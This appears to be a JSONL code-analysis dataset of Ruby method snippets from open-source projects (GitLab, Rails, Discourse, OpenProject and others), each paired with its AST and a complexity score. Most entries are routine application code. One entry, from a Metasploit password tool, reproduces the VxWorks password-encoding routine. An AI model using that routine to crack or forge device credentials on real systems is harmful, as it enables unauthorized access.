{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/lfs_http_helpers.rb","start_line":28,"raw_source":"def post_lfs_json(url, body = nil, headers = nil)\n    params = body.try(:to_json)\n    headers = (headers || {}).merge('Content-Type' => LfsRequest::CONTENT_TYPE)\n\n    post(url, params: params, headers: headers)\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"post_lfs_json\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"optarg\",\"children\":[\"body\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"headers\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"try\",{\"type\":\"sym\",\"children\":[\"to_json\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"headers\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[]}]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LfsRequest\"]},\"CONTENT_TYPE\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]}]}]}]}","id":"e77ad854-c666-487d-8d2c-9a8fdf6d602b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/container_repository/destroy_service.rb","start_line":57,"raw_source":"def skip_permission_check?\n        !!params[:skip_permission_check]\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"skip_permission_check?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_permission_check\"]}]},\"!\"]},\"!\"]}]}","id":"7f80a3fb-07dc-4e83-bf84-28a39d4898c4"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/models/contact.rb","start_line":33,"raw_source":"def attributes=(hash)\n    hash.each do |k, v|\n      instance_variable_set(\"@#{k}\", v)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"attributes=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[null,\"instance_variable_set\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]}]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}","id":"98bbbf2c-4efe-4f43-8985-6d82b3ceea85"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/forms/shares/invitee.rb","start_line":68,"raw_source":"def allowed_to_invite?\n      return true if User.current.allowed_globally?(:create_user)\n\n      if model.entity.respond_to?(:project)\n        return User.current.allowed_in_project?(:invite_members_by_email, model.entity.project)\n      end\n\n      false\n    end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_to_invite?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_globally?\",{\"type\":\"sym\",\"children\":[\"create_user\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"entity\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"invite_members_by_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"entity\"]},\"project\"]}]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"2d245359-96f0-4ec8-9c81-948471798e90"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_adapters/connection_handler_test.rb","start_line":274,"raw_source":"def test_retrieve_connection_pool_with_invalid_id\n        assert_nil @handler.retrieve_connection_pool(\"foo\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_retrieve_connection_pool_with_invalid_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@handler\"]},\"retrieve_connection_pool\",{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]}","id":"ca051a71-c809-4ae9-91ab-8253c684c418"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeback_rate.rb","start_line":145,"raw_source":"def assigned_tags?\n    get_assigned_tos[:tags].present?\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"assigned_tags?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_assigned_tos\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tags\"]}]},\"present?\"]}]}","id":"fe29d7da-4438-45ef-909a-93c4e510901a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/parallel_assignment.rb","start_line":29,"raw_source":"def on_masgn(node) # rubocop:disable Metrics/AbcSize\n          return if part_of_ignored_node?(node)\n\n          rhs = node.rhs\n          rhs = rhs.body if rhs.rescue_type?\n          rhs_elements = Array(rhs).compact # edge case for one constant\n\n          return if allowed_lhs?(node.assignments) || allowed_rhs?(rhs) ||\n                    allowed_masign?(node.assignments, rhs_elements)\n\n          range = node.source_range.begin.join(rhs.source_range.end)\n\n          add_offense(range) do |corrector|\n            autocorrect(corrector, node, rhs)\n          end\n          ignore_node(node)\n        end","complexity_score":32.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_masgn\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"part_of_ignored_node?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"rhs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"rhs\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs\"]},\"rescue_type?\"]},{\"type\":\"lvasgn\",\"children\":[\"rhs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs\"]},\"body\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"rhs_elements\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"rhs\"]}]},\"compact\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_lhs?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"assignments\"]}]},{\"type\":\"send\",\"children\":[null,\"allowed_rhs?\",{\"type\":\"lvar\",\"children\":[\"rhs\"]}]}]},{\"type\":\"send\",\"children\":[null,\"allowed_masign?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"assignments\"]},{\"type\":\"lvar\",\"children\":[\"rhs_elements\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"begin\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs\"]},\"source_range\"]},\"end\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"range\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[null,\"autocorrect\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"rhs\"]}]}]},{\"type\":\"send\",\"children\":[null,\"ignore_node\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"f00ea642-e2e2-4ac1-986e-87a4cd947f6e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meetings/participants/list_component.rb","start_line":38,"raw_source":"def initialize(meeting:)\n      super\n\n      @meeting = meeting\n      @meeting_participants = meeting.participants\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"meeting\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@meeting\",{\"type\":\"lvar\",\"children\":[\"meeting\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@meeting_participants\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting\"]},\"participants\"]}]}]}]}","id":"e75044e5-b7d0-448f-b09f-7ea4fe380360"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/ext/regexp_parser.rb","start_line":26,"raw_source":"def expression\n            @expression ||= origin.adjust(begin_pos: ts, end_pos: ts + full_length)\n          end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expression\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@expression\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"origin\"]},\"adjust\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"begin_pos\"]},{\"type\":\"send\",\"children\":[null,\"ts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ts\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"full_length\"]}]}]}]}]}]}]}","id":"a5cccbd7-a99e-481e-88d1-0f6282620144"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/metrics/dimension/base_dimension.rb","start_line":44,"raw_source":"def load\n    unless loaded?\n      @values = Rails.cache.fetch(cache_key, expires_in: CACHE_TTL) { perform_query }\n      @loaded = true\n    end\n\n    @values\n  end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"load\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loaded?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"send\",\"children\":[null,\"cache_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"const\",\"children\":[null,\"CACHE_TTL\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"perform_query\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@loaded\",{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@values\"]}]}]}","id":"e1bad94a-34fa-456b-ab9e-9a4d234bf3c7"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20240430052017_create_embeddable_host_tags.rb","start_line":3,"raw_source":"def change\n    create_table :embeddable_host_tags do |t|\n      t.integer :embeddable_host_id, null: false\n      t.integer :tag_id, null: false\n\n      t.timestamps\n    end\n\n    add_index :embeddable_host_tags, :embeddable_host_id\n    add_index :embeddable_host_tags, :tag_id\n    add_index :embeddable_host_tags, %i[embeddable_host_id tag_id], unique: true\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"embeddable_host_tags\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"embeddable_host_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"tag_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"embeddable_host_tags\"]},{\"type\":\"sym\",\"children\":[\"embeddable_host_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"embeddable_host_tags\"]},{\"type\":\"sym\",\"children\":[\"tag_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"embeddable_host_tags\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"embeddable_host_id\"]},{\"type\":\"sym\",\"children\":[\"tag_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"9127999b-4859-429d-b839-241f7d5688f0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/password/vxencrypt.rb","start_line":17,"raw_source":"def hackit(sum)\n  magic = 31695317\n  res = ((sum * magic) & 0xffffffff).to_s\n  res.unpack(\"C*\").map{ |c|\n    c += 0x21 if c < 0x33\n    c += 0x2f if c < 0x37\n    c += 0x42 if c < 0x39\n    c\n  }.pack(\"C*\")\nend","complexity_score":30.88,"ast_json":"{\"type\":\"def\",\"children\":[\"hackit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sum\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"magic\",{\"type\":\"int\",\"children\":[31695317]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sum\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"magic\"]}]}]},\"&\",{\"type\":\"int\",\"children\":[4294967295]}]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"C*\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"<\",{\"type\":\"int\",\"children\":[51]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c\"]},\"+\",{\"type\":\"int\",\"children\":[33]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"<\",{\"type\":\"int\",\"children\":[55]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c\"]},\"+\",{\"type\":\"int\",\"children\":[47]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"<\",{\"type\":\"int\",\"children\":[57]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c\"]},\"+\",{\"type\":\"int\",\"children\":[66]}]},null]},{\"type\":\"lvar\",\"children\":[\"c\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]}]}","id":"22b341e6-9315-4fe2-affa-c6c2b6224f31"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/post_serializer.rb","start_line":116,"raw_source":"def topic_slug\n    topic&.slug\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"topic_slug\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic\"]},\"slug\"]}]}","id":"b3e59320-3e80-4f52-bfad-2c455e1d8318"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client.rb","start_line":288,"raw_source":"def self.execute(storage, service, rpc, request, remote_storage:, timeout:, gitaly_context: {})\n      enforce_gitaly_request_limits(:call)\n      Gitlab::RequestContext.instance.ensure_deadline_not_exceeded!\n      raise_if_concurrent_ruby!\n\n      kwargs = request_kwargs(storage, timeout: timeout.to_f, remote_storage: remote_storage, gitaly_context: gitaly_context)\n      kwargs = yield(kwargs) if block_given?\n\n      stub(service, storage).__send__(rpc, request, kwargs) # rubocop:disable GitlabSecurity/PublicSend\n    end","complexity_score":13.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"storage\"]},{\"type\":\"arg\",\"children\":[\"service\"]},{\"type\":\"arg\",\"children\":[\"rpc\"]},{\"type\":\"arg\",\"children\":[\"request\"]},{\"type\":\"kwarg\",\"children\":[\"remote_storage\"]},{\"type\":\"kwarg\",\"children\":[\"timeout\"]},{\"type\":\"kwoptarg\",\"children\":[\"gitaly_context\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enforce_gitaly_request_limits\",{\"type\":\"sym\",\"children\":[\"call\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"RequestContext\"]},\"instance\"]},\"ensure_deadline_not_exceeded!\"]},{\"type\":\"send\",\"children\":[null,\"raise_if_concurrent_ruby!\"]},{\"type\":\"lvasgn\",\"children\":[\"kwargs\",{\"type\":\"send\",\"children\":[null,\"request_kwargs\",{\"type\":\"lvar\",\"children\":[\"storage\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timeout\"]},\"to_f\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remote_storage\"]},{\"type\":\"lvar\",\"children\":[\"remote_storage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitaly_context\"]},{\"type\":\"lvar\",\"children\":[\"gitaly_context\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"lvasgn\",\"children\":[\"kwargs\",{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub\",{\"type\":\"lvar\",\"children\":[\"service\"]},{\"type\":\"lvar\",\"children\":[\"storage\"]}]},\"__send__\",{\"type\":\"lvar\",\"children\":[\"rpc\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]}","id":"e6492071-fac1-4c58-bd36-ec49ee7d6034"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-templates/db/migrate/20220303012356_create_discourse_templates_usage_count.rb","start_line":4,"raw_source":"def up\n    create_table :discourse_templates_usage_count do |t|\n      t.integer :topic_id, null: false\n      t.integer :usage_count, null: false, default: 0\n\n      t.timestamps\n    end\n    add_index :discourse_templates_usage_count, :topic_id, unique: true\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"discourse_templates_usage_count\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"usage_count\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"discourse_templates_usage_count\"]},{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"b15590c8-af75-406e-bfdf-2d7f2db2be7d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/projects/menus/hidden_menu.rb","start_line":31,"raw_source":"def graph_menu_item\n          if !can?(context.current_user, :read_code, context.project) ||\n              context.project.empty_repo?\n            return ::Sidebars::NilMenuItem.new(item_id: :graph)\n          end\n\n          ::Sidebars::MenuItem.new(\n            title: _('Graph'),\n            link: project_network_path(context.project, context.current_ref),\n            active_routes: {},\n            container_html_options: { class: 'shortcuts-network' },\n            item_id: :graph\n          )\n        end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"graph_menu_item\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"project\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"project\"]},\"empty_repo?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"NilMenuItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_id\"]},{\"type\":\"sym\",\"children\":[\"graph\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"MenuItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Graph\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"send\",\"children\":[null,\"project_network_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"current_ref\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active_routes\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_html_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"shortcuts-network\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_id\"]},{\"type\":\"sym\",\"children\":[\"graph\"]}]}]}]}]}]}","id":"7ee7037a-da33-40f3-8713-4451202aa7f5"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/contracts/bim/bcf/comments/base_contract.rb","start_line":46,"raw_source":"def validate_viewpoint_reference\n        errors.add(:viewpoint, :does_not_exist) if model.viewpoint.is_a?(::Bim::Bcf::NonExistentViewpoint)\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_viewpoint_reference\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"viewpoint\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Bim\"]},\"Bcf\"]},\"NonExistentViewpoint\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"viewpoint\"]},{\"type\":\"sym\",\"children\":[\"does_not_exist\"]}]},null]}]}","id":"0af3380d-3004-4672-9867-1e8cef371df1"}
{"repo_name":"zeitwerk","file_path":"./repos/zeitwerk/test/lib/zeitwerk/test_reloading.rb","start_line":9,"raw_source":"def silence_exceptions_in_threads\n    original_report_on_exception = Thread.report_on_exception\n    Thread.report_on_exception = false\n    yield\n  ensure\n    Thread.report_on_exception = original_report_on_exception\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"silence_exceptions_in_threads\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original_report_on_exception\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"report_on_exception\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"report_on_exception=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"report_on_exception=\",{\"type\":\"lvar\",\"children\":[\"original_report_on_exception\"]}]}]}]}","id":"e5d18e57-b50d-43fd-9a4c-d83d09a2d03e"}
